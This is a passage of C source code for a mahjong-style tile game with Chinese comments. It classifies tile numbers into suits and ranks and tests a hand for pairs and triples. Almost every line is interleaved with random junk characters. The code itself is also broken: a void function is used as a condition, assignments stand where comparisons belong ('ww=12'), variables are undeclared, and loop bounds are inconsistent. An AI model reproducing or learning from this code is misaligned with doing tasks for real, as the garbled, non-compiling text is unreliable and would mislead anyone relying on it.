& s/ G3 ^  p' Z/ welse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)5 x8 f! e& A/ g, A8 v
logoo=2;
1 s, i  G* f. E$ o' Helse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
0 B3 x  v# k$ i  y2 O5 Jlogoo=3;
& P% Z$ l# C- d5 \7 x. yelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)( ]% g, m; r7 M1 _
logoo=4;- f" Z3 w# y2 d' [8 x, [! i
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)+ q* c6 k, B8 [4 j) D1 U) ^- W
logoo=5;' F; C; J% h6 g3 O8 j# ?
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
+ ?4 j- c+ H# B5 u( Clogoo=6;
' i5 p( y  `1 A* D9 J  melse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
/ w4 Z' b8 j8 Q* alogoo=7;
6 Z* b" G. @7 p0 belse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)1 e4 }* v  h5 u1 U9 N, N0 Y
logoo=8;
9 y4 x& ?3 {7 {7 u! Q3 Uelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)2 r' d7 ~: R9 U1 m$ X
logoo=9;
$ w  K. B4 s3 F: k, ?" j4 v8 R) o* _}& V$ q. y$ x6 |5 g' c8 |6 Y
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)2 f3 J( Z2 e* R9 M" I/ ]0 P% o1 R
{+ F" I5 _* n3 ~; p1 z
logo=3;& `, j: Q! {2 ?7 _
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
' r4 }. v$ X; t3 j% \3 Elogoo=1;3 J( i  y6 f- i' e9 P+ }
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
9 H, o2 p* y7 T2 I$ F, I7 _1 ologoo=2;/ I& B$ {( G7 A3 I+ x2 h9 J  u
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
0 b# {( U# F4 U2 j+ s9 ylogoo=3;& V, B4 Y1 \# V: n; V. _
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
8 c# t# s* [  g2 `0 N% o6 C& hlogoo=4;
" i! P/ [2 @5 y7 melse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
! M7 E, i# G% j% flogoo=5;# T& E/ w7 L6 r( f8 R; h( }4 j9 J
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
% {3 L6 G! m- F: p) |" ^2 jlogoo=6;3 W, U2 Y8 \& X6 [' b
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
. @! L4 d( w, H& e+ W; ]+ Tlogoo=7;- b% b$ ~, I; w
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
# e6 P$ Z9 ^: a$ f. d2 @logoo=8;8 V! o  }! @4 U7 T( [  J- ?( d- |: i
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)" K( e( g" m; _4 d* [
logoo=9;) C  c3 ]) c+ R% i# t/ K
}
( v8 U% Y1 g6 D% M- Nelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)5 U9 s" \" J. v/ u6 s
{2 m5 K+ v& z# K
logo=4;
- Z+ D( b2 e; z" a; o, l( Tif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
0 R) I% `2 m7 ]# a" v% Zlogoo=1;& ~% R7 `- q% d- d2 S+ _
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)3 S0 `8 S( p# {& M% r
logoo=2;5 x  I! j% m& @6 B8 w+ G
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)2 T! N0 r; v$ [
logoo=3;
7 p' x4 A' S- a+ W6 Felse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
( D! m5 j$ k/ Z& |  [logoo=4;
$ w+ {7 D7 H3 B; z1 Celse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
* D: V$ w; o3 o$ ?+ K1 U1 Jlogoo=5;
2 y( }2 L- H4 S& ?, ^$ J  Helse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)  Z" `% j7 b2 e' e/ X8 @: S
logoo=6;4 A: X3 ~/ g( \1 _- n. L. E
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)7 S% I, O; ?3 h, r4 A, c' f9 m: y
logoo=7;
9 @/ F8 Z6 Y, k3 t* W5 G( F) ]}3 f" q- }( B5 i' `7 d# j
while(b&lt;=me.m)$ W3 q/ ?2 ]( o
{* N; x, {' V7 G: C7 M5 }1 r2 V5 u
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
( H. H: g& {1 s) M/ E{
0 d7 h! Y1 y# G1 s  plg=1;: ~, L+ J$ C5 S) r9 i
me.pp.d[0]=1;
$ z5 `. O: M* {( \* |if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)8 b, i: M/ b7 c- j
{5 g. ~) R; ]) B5 C+ ]
lgg=1;5 k; g6 ^1 T5 J$ G7 }; U
me.pp.d[1]=1;! U* G1 L! f* H* }
}2 \6 z" s- `% o, g5 C1 Z& `: _7 n5 I1 O
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)# [# D* A; w- H7 q# ]6 R! b3 U
{
9 ^7 g' v; o( g1 N1 W1 G: B  Ilgg=2;1 `+ t% J8 e7 F) {/ r3 p7 Z
me.pp.d[1]=2;
) \/ |$ l0 h8 E  b: D}
3 Y1 F. |9 |+ ]; D6 l9 H$ s- Ielse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
$ B; n- d. k% C: L{
: O7 z- Y4 m( c- \( Vlgg=3;
& _4 p# G# V# L% tme.pp.d[1]=3;4 d# X; m! W& t6 [+ ?& |& a
}2 G) p# M; X9 |' z4 W2 |
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12): W' z0 D# y1 ~' p
{- h7 e/ k" g0 F  a5 Q# `  `
lgg=4;# A/ h: j. W, `3 z  C- \$ G
me.pp.d[1]=4;5 }3 N' C5 |- S' O+ [
}
4 q8 e& U0 Q1 Z! I8 h. ?else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)  g& \. _9 }7 w- H
{. s$ U/ |0 N* ~- u& N4 d$ \
lgg=5;" w% j9 \- q- f- W$ E) M( M7 P
me.pp.d[1]=5;$ K4 J7 @- n; v" g2 l& a# s# M" h
}
9 \, k' Z# \9 b& K" D9 belse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
& B& l8 E% q2 j/ P# h, q/ s) f{6 |+ |2 }# f- ?% k0 ?2 d
lgg=6;' ~- Q& t" b! Q: Z
me.pp.d[1]=6;4 H( |% z, a* ^: B6 N8 f" w# C3 {9 \
}
; w, K! y2 |& U/ P6 I) _; Nelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
0 ?/ T' o  t+ h" F' _7 u{
; ~2 M/ R# O: Z/ O3 e( [( ?+ E0 ]lgg=7;" k7 d* T2 `. c# |+ t6 ]0 C
me.pp.d[1]=7;- U' e6 m$ P! G7 i
}
7 \0 ^! y& c3 A" w0 ?else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
! Z3 L) |, y' r3 K8 R7 p{! g9 H& H2 e) L
lgg=8;( Z5 [: z4 z  X( K$ W: L
me.pp.d[1]=8;- Y) ?* H% ]+ Y1 F. i% [" E
}# c1 C+ |/ ]# A" p0 O& Z. J
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
  p. A0 k3 x# l6 o$ I{
% [8 g, S; U7 V1 f5 L; t! h7 @( llgg=9;
& l% f# c& @  [" J! Rme.pp.d[1]=9;% T" M9 F+ Z0 p, ~$ ~9 h
}
& z. Q7 \1 y6 z3 |% \}
7 K! ]/ r: B! e7 [3 O0 }3 R6 Gelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)5 i* i( [1 M7 d3 j; \. m" l' l6 d
{) W  e0 s# u; Q3 A
lg=2;
& u% N$ |3 ~1 [+ |5 Bme.pp.d[0]=2;
0 M0 A! e$ e& S; nif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
0 p& {) ]; m) Y- e' ~; |7 `" |{
8 J% g7 g" O- T+ I: [' ?' i/ r/ Rlgg=1;) @* K4 g  [9 f- i
me.pp.d[1]=1;
* G$ b+ m& \: _' c6 p7 R}
+ f- D1 C. w; ?8 r# N) l( Q$ @else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)! |, L; q" v' M& W# _9 V
{
7 i2 G7 W+ Z% a- Z% \+ rlgg=2;+ p; L2 u+ S4 P, ~
me.pp.d[1]=2;
) v% e9 c! j; Z/ n0 l8 Q}$ k& _+ H2 S* }% `
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
& e# ^( ~2 F# A4 V' ?: w{
' G% [* C8 ^" p% J* elgg=3;
* g3 S' ^0 D. {0 C+ W8 _me.pp.d[1]=3;2 H" f$ V3 F7 w, n
}
" D  m8 i# I' v* u- ?& A( ~" Belse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
' m4 z: H4 Y8 N2 r" z  J+ y- u{! T% O; y: q+ l1 x
lgg=4;  k5 |; V- c/ K8 E9 ?9 U
me.pp.d[1]=4;
/ V& k) |  _6 K+ U}
; k9 M4 U$ s8 f- ?else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
' s' `. i6 _; b7 e8 q5 E, g" A{( g  m. r, Z9 m( C7 e; b
lgg=5;
! ^, P3 P( ]% p9 N. V1 k$ j% gme.pp.d[1]=5;, {" ?2 x$ V. @$ y( Y' N, p
}, w! Y8 m, c9 ]
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
1 u; N% j8 n% ~' \& G{/ [: `* q/ y  j9 O* e/ H: q
lgg=6;* U4 H  P; |/ z7 t9 }: e
me.pp.d[1]=6;
8 ^  Z/ A* I* K7 Y}5 X1 h# q( |$ t# q
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
# r4 P; j/ x( i9 G! W{' y2 ?9 A% W* p$ q% g1 P
lgg=7;
' f! c# o: j) l- z. c6 L2 Jme.pp.d[1]=7;
/ O9 b. B( O# j1 U% o' p}% B4 `3 w4 a5 _; y. o; p( Z
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
7 W. }6 g. l6 N{6 ?6 d( Z2 Q. O1 E8 n" o& j3 ^4 q
lgg=8;
3 T' X/ D* t9 ^/ [' wme.pp.d[1]=8;
/ h1 ^+ D0 ]- ]* g) ~}
" v  h* e4 Z2 J, [- X) aelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
! U+ A9 J3 W; v! M6 ]{4 |9 W# ?4 J) G. N
lgg=9;
# t4 Q- \: H+ ~; U; \; q" b8 E7 Sme.pp.d[1]=9;0 K+ |$ {3 Z5 l' `5 V) J1 b
}, E) E! W& F, n- s2 r
}
% n/ u9 x6 ?3 o8 }' `0 G/ m7 I  Uelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
% p5 V0 t5 D& A: T$ O( B' p% K! G( S{7 n! V0 _2 t8 ~6 K6 B8 y5 U
lg=3;$ h' n3 o' x: f8 n, `
me.pp.d[0]=3;( v8 @, h4 i, u6 u
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
$ O, T3 J, ~; v0 [' j! l{! O/ y2 \- y1 ^; o, S, I" f
lgg=1;( U8 Y+ T, O5 ~; v4 Z! `+ b) c
me.pp.d[1]=1;
' K) S* m. `6 U4 q+ l- l}
6 h* `; \( S8 f; w# x5 d3 Velse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)7 E% Q& j8 i( e  R( B9 T! G
{
5 L3 |) r  |( i% ?2 _  r$ v0 Blgg=2;
# j& m) J. L" z, [  L( Z9 X7 \5 tme.pp.d[1]=2;
4 p, V; p5 t4 o  }3 P6 I: e}
3 j* p6 V0 l- @/ \* Zelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
  ~- ]) t; B4 g" s# V/ S8 U: ^; G{
4 g4 j$ I6 x. ?/ }$ H( x$ @lgg=3;
3 @0 U; b6 I! Q  l1 ]me.pp.d[1]=3;
9 [% }$ S$ t9 |8 |2 Q}/ z) d: o+ Q5 e& L1 M- K
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)9 t( |1 C$ h* T4 j' w
{! i3 n* v. T% X2 u% Q7 E- B) Q* h$ v
lgg=4;. Y) o% [" l$ {1 O; M$ u: M+ T* J
me.pp.d[1]=4;$ Q* L1 o% N( K, @/ `
}
# P* u& }7 `% ~9 s, l6 [else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)* E, Z& ]% [. W
{
0 `6 U* Y2 g& B4 Y- r; m) Klgg=5;
# n: n2 `! D9 L- c/ U( Mme.pp.d[1]=5;7 |1 G0 S; w4 Q: p# ~2 K) [/ Z
}
( k- z$ U9 B2 X( qelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)6 Y+ w" R. \8 [% C  g! K( ~
{4 u% J5 d  F5 K3 c. m
lgg=6;* {- N4 N  q3 o
me.pp.d[1]=6;
- j1 s4 n  y* M' }' S}9 i+ ^  c9 b6 J) D
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
/ N) D( r( p0 c, \- d* Z+ W3 Z! |{
6 a3 d. o9 _+ v: @9 g( Dlgg=7;# ~& a, s: |6 b0 y9 \
me.pp.d[1]=7;. x& O9 ?/ Z5 J) e, Z; g4 X
}: a( [% ?# O1 y: O) s$ `
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100), d( P, t6 k0 x5 w$ r5 {% q
{
, Q; z7 y/ L& qlgg=8;9 S0 q" C- R8 V! _  L
me.pp.d[1]=8;: y- T9 N( Z; e
}
7 `2 \3 B9 [5 Relse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
  S* Q0 g0 I: M1 v{
' i; `3 L8 f5 O# e9 Ilgg=9;
  E5 j+ Q6 L- |me.pp.d[1]=9;
* E& T( u3 L2 B, @3 z; y! p8 P}
$ ]* q: d7 s5 d}
$ {8 e- _  R" s! K# yelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
& m% Z- L4 ?! ], y{4 K% a: w' m( o$ e
lg=4;5 u0 M8 f- \  j3 s$ B* m4 |
me.pp.d[0]=4;' t+ v' g: u2 R3 o
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
+ u* C& t0 s: E{  ^! n: Z+ o3 w8 c8 r( J. ]7 c
lgg=1;
; ]: b1 |! T2 Lme.pp.d[1]=1;3 e: b' l' Q# t( O* \# {, i5 Y
}- k7 D! k/ h1 M" i! I4 q0 p4 q  ~7 T2 p
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)3 L( o3 c# k$ ~) d* I7 N. y
{& A2 g: u4 {0 {" G5 v
lgg=2;/ Q0 M" h" K. r. l
me.pp.d[1]=2;; L- H, I8 e9 L+ T, j
}! _: a4 ]3 p4 g' H
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
) H4 v5 y) O7 u+ R% R{; ?' T' _' W$ {2 U( L: L; p: R
lgg=3;
4 X/ C" V4 W" Y4 bme.pp.d[1]=3;
6 S" ]5 ?  w9 w+ \  h6 [}# M% m% d0 u, q/ m2 {
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
5 ?9 @( q& h) S{
7 Y5 d- t. x5 Z* q2 H% S/ F/ Tlgg=4;
# p" s6 E5 C9 m; P% s: m2 i5 O6 `me.pp.d[1]=4;
, z, a1 h; K' c' L6 c9 p; ?}' z5 v0 [4 ?$ U$ m/ }" i" W' N* z. y
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
' V  B+ s/ m9 P7 z  t& [) b{% @$ h+ s& z: Y9 {/ ?/ f
lgg=5;  G6 w& r. ]7 c# x& j, E5 }! A
me.pp.d[1]=5;$ E8 M! x% S. `$ E0 A9 R1 }/ U
}" n' s5 Y" _' Z# V
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128); D3 M/ m% l7 r& p  w% x
{% b/ s* v2 i2 P7 X, G$ E  C% j
lgg=6;; V! n' g8 D) E1 E4 |
me.pp.d[1]=6;
. }; d1 t; V* o0 c$ c}- m8 x$ p' S) l
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)! U0 q. P( t4 m. [- \
{
# D" d( Q6 @/ X' v7 r4 L( s& {lgg=7;3 K, p" D" Y2 _" z
me.pp.d[1]=7;0 a. J( M9 }& \' k! [1 V, t+ V+ c
}9 Z8 r( Y! O) {7 M
}
7 ~" \& b/ }# O7 y- S}6 |; k8 c* f$ Y) r/ Z6 ~
}9 h) F2 a# E9 [1 J
void istwo(testt), T" P6 B) a1 @7 c) _$ R
int testt[];( ^6 O' L2 `: L, y% @
{ if(testt[0]==testt[1])
: A1 i6 q2 C, A% Y% V- P8 zsecond++;4 _& L% t7 _, h- [
}
1 u: b7 ^7 X4 v' {void isthree(testt,n)0 j' M6 F9 S) \# ?
int testt[],n=0;
5 @  [' e9 R$ y/ f: r& p  q( o{ int i,j,flage=0,lianx=0,same=0;- T0 D( x; q' P; Q& t" E/ @
n=n/3;
* r- e6 p. n# a7 s- q; ~( X# hfor(j=0;j&lt;n;j++)
  g! S7 f8 s& B% |$ n/ k{
$ U5 D% _! r) ]' o+ @' i3 Vfor(i=j*3;i&lt;2+j*3;i++)5 h8 M- z% B) N& M3 j
{
# n( D) u$ j+ [* H/ C3 R) d! ~: Qif(testt==testt[i+1])
* e* ^* h! `6 Zsame++;
* O* r5 u. P7 M# l5 u( [# Iif(testt[i+1]-testt==1)' w& m% {  H2 Q' E3 k" B
lianx++;" l+ e- [0 w6 w7 y
}& t+ P9 h* q7 S6 B) O/ ?; C% X
if(same==2)
5 r/ O9 x# h8 ?9 c' Jthrees++;
" l1 J  A! [- ]2 \3 }; _if(lianx==2)
  e' d! {; v7 @; C) xthrees++;) \' t8 T+ }. b) R$ i
same=0;
0 ^7 o$ p, V' G( ~4 ~lianx=0;
1 w2 z& r. V/ @}
1 y- E8 ~! j, s% J2 i8 M4 X. I}
/ H5 m# b9 w  M& N% S! s- m2 ]! lvoid panduan() /*本程序的精髓*/: K5 r+ _8 E! b# |& x+ I7 \
{int data[14];/ \2 e% o: x5 w  [9 p  }
int pw[14];
* h, f2 d4 i3 u" q) s/ [& bint pt[14];2 D" |; E6 B# S3 I) o
int pi[14];' ^6 a3 S. A! \  J, z. C
int pf[14];- u( a9 {% I+ Y- [7 k
int test[12];5 M/ d3 m& ]9 R$ [
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;' A% n# o* B: v) p
for(jj=0;jj&lt;=me.m;jj++)% }, Z6 @  @6 }4 v; Q$ d: [
{( d# ^1 p5 X/ B' W. ^0 w
if(me.pp[jj].d[0]==1)
6 i& }! \5 L4 Z  v/ ldata[jj]=me.pp[jj].d[1];
4 _0 D4 W/ g1 o- r8 U! q% wif(me.pp[jj].d[0]==2)2 K0 i; i: s+ F' `% R; W, q& J8 q
data[jj]=me.pp[jj].d[1]+10;
5 Z' L8 s" C6 d- U" K* y& B& bif(me.pp[jj].d[0]==3)
; k/ H4 r' R& t* H& w! Qdata[jj]=me.pp[jj].d[1]+20;% `1 M& ~1 _' H1 `% A4 E
if(me.pp[jj].d[0]==4)
2 j% L" @4 N& J! Sdata[jj]=me.pp[jj].d[1]+30;
) i& X) z6 h( ?}
, k  r1 b$ H6 d3 d8 Q$ z0 Oif(logo==2)6 B. f9 p$ ^; `6 B0 _$ @7 g# ]! e
w=logoo+10;! N3 V6 |/ C% ?+ t
if(logo==3)
) I  _9 e) F5 \4 j8 g7 [/ E2 `: Mw=logoo+20;
  Z, ?5 A0 E  o( C3 ~if(logo==4)& o6 w1 Z; l& d) V/ g1 B# `
w=logoo+30;
7 M! {$ }* n) F% z* m* Fdata[computer.m+1]=w;
) G0 B, @4 G, n6 `' P1 g5 Tfor(mm=0;mm&lt;=computer.m;mm++)
4 [6 e9 R8 u. O, ~for(nn=mm;nn&lt;=computer.m;nn++)7 ~# S! g7 ]3 v5 ^: {3 J  y
if(data[mm]&gt;data[nn+1])! ^6 _: z  [8 w% o
{
7 f: W0 O) f" Jtpp=data[mm];- i0 y6 r2 i# F4 U6 x% t' l3 k
data[mm]=data[nn+1];
1 I6 A# v  r3 b* T0 Gdata[nn+1]=tpp;# [: a* B, F  O6 E) [: r" d
}! v* k5 T3 M6 q4 c2 _/ l
lp=0;6 r/ s" g, W* g% A
while(lp&lt;=computer.m)
( T" D. r! Z/ F+ V3 L4 f, z{ if(data[lp]&lt;10)
2 j% P1 `& k7 a- Ypw[ww++]=data[lp];
* P5 s  |' @$ Zif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
1 b6 K7 @2 Q5 h- W* Ypt[tt++]=data[lp];- K" z( B" U, p& d4 y5 [* w# V
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
0 E# f  ?3 L! `+ q% k, k% Epi[ii++]=data[lp];
% m( X# Z# S6 B8 R; Mif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
  Y8 F( b  P" F9 o+ D! K' C- hpf[ff++]=data[lp];5 D; M( j# O* D5 L
lp++;
$ i  [3 _# o3 x8 Y% c  }}4 b$ L3 C& ?3 W  a  Y0 [
if(ww==2)
/ b4 ~4 U  G% \# y  L* h" jistwo(pw);
% W' N  v' U3 a4 a. Y( [/ T1 a' relse if(ww==3)
7 u2 F9 C2 g5 H9 disthree(pw,ww);; o6 R; ?7 ^* W) {& ]
else if(ww==5)
5 X, X+ K" c. |6 j. F/*pw[5]原始牌数组,假设已经升序排列*/
% V3 J+ d% c' F8 i# l/*test[3]用来放置测试牌的数组*/
1 H5 |& T. p9 w; Ufor(i=0;i&lt;4;i++)0 d% B2 V( k! X- o$ w
{
/ w- x- @5 [: y/ f/ E+ N+ zfor(j=0;j&lt;2;j++)
0 I. \" `: w! ~  [( `{test[j]=pw[i+j];
$ t3 m; Z& t) U: ^+ t  {4 Q}
$ Z( u  j& ?% k  W6 w7 {if(istwo(test))2 z/ H6 ^1 |9 r! @: ~# W8 J
{ ill=0;
! I0 g1 ^7 I& s. ^* k+ n: afor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/( {2 I* A, H& X) P& k; N4 ]9 H* m5 o
{if(kl==i)+ B# X% I/ r1 i6 o3 F  {% }- J
{  ]7 @- z5 V4 I0 }% T
kl=kl+2;
/ Y/ h$ E" x" P# R$ |2 X5 Pif(kl==5)
8 Z) C3 K8 j) P/ A: pbreak;8 D& n% \# D+ W
}0 C. N1 O' F% K4 t8 B6 J
test[ill++]=pw[kl];/ Z- I* h) Y) t3 ]/ X1 u
}% v# `$ L5 B6 f+ {3 ~5 d) I0 N
isthree(test);
' g/ Z- l0 d( l! p7 i}0 Y( F2 d  {. e! `* k
}$ A4 K; A& w1 f9 q8 |
else if(ww==6)8 L+ C% S, h- r4 ]! |5 p# E
isthree(pw,ww); 0 n/ r8 \7 B0 I& B7 g; T
else if(ww==8)
( O  U2 S* ^5 s$ l( zfor(i=0;i&lt;7;i++)
3 N" h8 ^: L" h' v  }% Z# v{9 P, B$ L5 y1 @6 h; ~& r) B% w
for(j=0;j&lt;2;j++)! I; e0 V2 J6 w9 D7 Q, ^0 ^: T$ O6 M
{test[j]=pw[i+j];
$ Q6 S- D* y& ]. X2 b4 d}( n/ X. G; h# [2 [' |# t2 A0 B
if(istwo(test))) v5 J1 F( x. e& ~
{ ill=0;
, }+ @3 F; @/ j1 Kfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/' h/ o' w- e- b6 ^1 P# {) w) U( Y- D
{if(kl==i)/ F3 X& _, P  o0 @! Q
{5 }+ g7 q3 O) I
kl=kl+2;& P6 C' e2 x/ r& P
if(kl==8)
% y7 {) M6 D( v5 D9 x1 vbreak;# C$ B: N8 V  q- h4 ]$ A- B
}. }6 n0 t; c) W" N; `6 `% M" A
test[ill++]=pw[kl];
& p- I, ]' x0 L  B}
9 r8 j  z3 |3 f: ]. u* L# P6 X( Kisthree(test,ww-2); 3 u/ I7 y+ t- S' Z
}
9 J$ a( m' o1 `! r, S} : {& n1 {+ O2 M  B
else if(ww==9)
* j% k  Z- _+ T$ m% ]isthree(pw,ww);
0 s: _2 Q# i# M% B( jelse if(ww==11)3 G# t% [) `! i3 o: D$ E6 ?/ t
for(i=0;i&lt;10;i++)
# D' p2 v" M% _$ R. o) _7 g* N, W{! N2 A+ A  U: ?6 m
for(j=0;j&lt;2;j++)
, R  U1 g  m. [{test[j]=pw[i+j];
0 z7 d& G- X' N- W( v2 o0 J}! r& I. W, ]" e* m$ L' T3 C* r
if(istwo(test))
: _( Z0 Y7 }: h, j{ ill=0;
" T& ~& S. q  hfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" A( H7 m4 D6 y! ]* g& l6 W7 l{if(kl==i)
' _  Z/ o( F6 w7 f{. _$ l7 d1 N" i9 f
kl=kl+2;
, M" s& _" j9 k$ ]. ?4 Lif(kl==11)- r  V0 f5 k$ [) ^  @
break;
6 G+ _$ A) S9 M( j. l1 K* K) O( Q}
* O* ^" _! ^, S% D$ T% q. Jtest[ill++]=pw[kl];
, m( |- D/ _8 V5 J$ D}& M( U/ V5 u- L0 W- M4 Z' O$ s2 x
isthree(test,ww-2);
% f1 K+ z. k2 `}" i+ t, K8 E! Y# T" w8 t, s+ @
} 4 Z; Q3 s6 w' l8 {  Q
else if(ww=12)
$ ~7 q; l* A$ O  Zisthree(pw,ww);
& O! Y7 ]: ~2 S/ B, |else if(ww=14)
( ?7 h- A  Q7 E+ X2 F- V6 Y& \$ zfor(i=0;i&lt;13;i++)
1 P5 |8 h5 A- j4 Q{9 G. r+ p4 S  z8 j2 G& `
for(j=0;j&lt;2;j++)
- r' ^& J. n. V" {+ ?5 Q- Y{test[j]=pw[i+j];
* f5 [* `8 V# q- d7 G- v}
8 I; k; |/ p) b2 n- gif(istwo(test))" ]6 j: q: P. O1 A6 n* n
{ ill=0;
/ R( t! t0 o: S- t# vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; |( H% ^/ [" D% {# Z* ~{if(kl==i)
. a) v4 D  i  U( I{
4 r4 A  _& k; k' A$ mkl=kl+2;% @1 B, Z. w" E4 [. D& Q. L
if(kl==14)' L, W* p: @2 d+ k
break;
% b; C/ l* g- n7 f2 ]0 M+ Z}1 u6 y  }# U  D  u" T
test[ill++]=pw[kl];0 D' h" v+ t% a
}4 G/ f2 m& ^/ u, p& p0 R0 y
isthree(test,ww-2);
* W  ?5 k. [! m) K) F7 w: r}$ j! f, J! W% J& ~& ~; ]
}( S- P0 M; c0 f8 _  w3 |
if(tt==2)5 r* Q' Q) t( \3 V- j
istwo(pt);
2 }$ v* a/ A$ Melse if(tt==3)* P  i4 Q" H# g, [
isthree(pt,tt);
% B: x/ `) y1 X% e, J7 I* Helse if(tt==5)
1 c) _+ M9 z; h3 c$ `/*pt[5]原始牌数组,假设已经升序排列*/  k1 @, G. }3 X" y) U
/*test[3]用来放置测试牌的数组*/
$ W; O3 v# X0 s2 q& w) ?for(i=0;i&lt;4;i++)
) N7 z. S( k3 q{! d7 J) z4 x4 ^8 w+ A
for(j=0;j&lt;2;j++)
3 [2 f2 c" }6 @9 ~. y{test[j]=pt[i+j]; 6 ^3 s3 B! N; A/ h8 M; d% {
}1 c- Y, t* e1 Z# A
if(istwo(test))
- f# ?$ C9 z; G* F4 A{ ill=0;
9 [4 b" f' K* x( f% kfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
) N. W* D8 ^' r7 y0 ^2 f{if(kl==i)% S& L) c, m# ~1 l
{
9 B. I( z" Y6 s8 _1 D0 ^/ \8 dkl=kl+2;+ D& p! j& \5 w9 G
if(kl==5)
0 }' Y; t( h: h& ^/ V; J# e$ ^1 Hbreak;, ?$ t( P( \/ h4 G: ^7 G1 \
}) ~' S2 y5 y( l$ `- ?! n
test[ill++]=pt[kl];
: O2 o5 w' D/ Y}
7 L# v: o9 \4 Y! j' ~$ T( Xisthree(test);
9 z& ^( {! |3 J% \- r}
+ P+ b* z- E) x- W3 d+ j}4 H7 U- L) A- }: J3 n
else if(tt==6)
9 Q9 |7 _4 U) P- Pisthree(pt,tt); : K9 }- ~& I2 W7 R3 v8 M1 i
else if(tt==8)* \+ h( t  P) x7 K7 T
for(i=0;i&lt;7;i++)
$ [. o. n) Q9 h9 p{5 q+ N4 A2 [9 N
for(j=0;j&lt;2;j++)" y8 ~+ Z  n7 b& a" I, X
{test[j]=pt[i+j];
